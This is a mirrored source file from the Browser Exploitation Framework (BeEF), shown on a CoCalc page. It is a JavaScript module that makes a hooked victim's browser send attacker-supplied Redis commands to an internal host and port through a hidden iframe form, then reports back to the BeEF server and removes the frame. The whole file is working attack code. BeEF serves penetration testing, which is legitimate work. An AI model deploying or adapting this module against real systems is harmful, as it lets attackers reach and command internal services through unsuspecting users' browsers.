Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/ipec/inter_protocol_redis/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// validate payload
10
try {
11
var cmd = '<%= @commands.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
12
} catch(e) {
13
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
14
return;
15
}
16
17
// validate target host
18
var rhost = "<%= @rhost %>";
19
if (!rhost) {
20
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');
21
return;
22
}
23
24
// validate target port
25
var rport = "<%= @rport %>";
26
if (!beef.net.is_valid_port(rport)) {
27
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
28
return;
29
}
30
31
// validate timeout
32
var timeout = "<%= @timeout %>";
33
if (isNaN(timeout)) timeout = 30;
34
35
// send commands
36
var redis_ipec_form_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", cmd);
37
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redis commands sent');
38
39
// clean up
40
cleanup = function() {
41
document.body.removeChild(redis_ipec_form_<%= @command_id %>);
42
}
43
setTimeout("cleanup()", timeout * 1000);
44
45
});
46
47
48